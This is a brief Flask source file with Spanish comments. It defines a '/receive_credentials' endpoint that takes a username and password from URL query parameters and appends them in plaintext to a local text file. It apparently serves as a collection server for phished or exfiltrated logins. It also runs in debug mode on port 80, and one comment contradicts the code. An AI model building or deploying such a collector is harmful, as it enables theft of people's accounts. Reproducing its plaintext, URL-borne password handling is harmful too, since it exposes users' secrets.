main.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
from flask import Flask, request, jsonify app = Flask(__name__) @app.route('/receive_credentials', methods=['GET']) def receive_credentials(): try: # Obtener datos del formulario data = request.form nombre = request.args.get('nombre') password = request.args.get('pass') if not nombre or not password: return jsonify({'error': 'Missing nombre or pass'}), 400 # Almacenar credenciales en un fichero with open('fichero12.txt', 'a') as file: file.write(f"{nombre}|{password}\n") return jsonify({'status': 'Credentials received and stored'}), 200 except Exception as e: return jsonify({'error': str(e)}), 500 if __name__ == '__main__': app.run(debug=True, port=80) # Ejecutar en un puerto diferente |